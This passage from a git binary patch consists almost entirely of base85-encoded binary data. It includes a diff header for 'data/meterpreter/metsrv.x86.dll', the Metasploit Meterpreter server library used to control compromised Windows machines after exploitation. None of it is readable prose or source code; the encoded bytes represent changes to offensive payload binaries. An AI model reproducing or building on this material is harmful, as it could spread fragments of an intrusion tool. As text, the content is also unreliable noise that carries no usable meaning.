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 diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll index 2e875a37684fb99971ae89e33ed767e814833de6..4fcde5c904dc6ac3eccc8e8b679bb69419503442 100755 GIT binary patch delta 299528 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 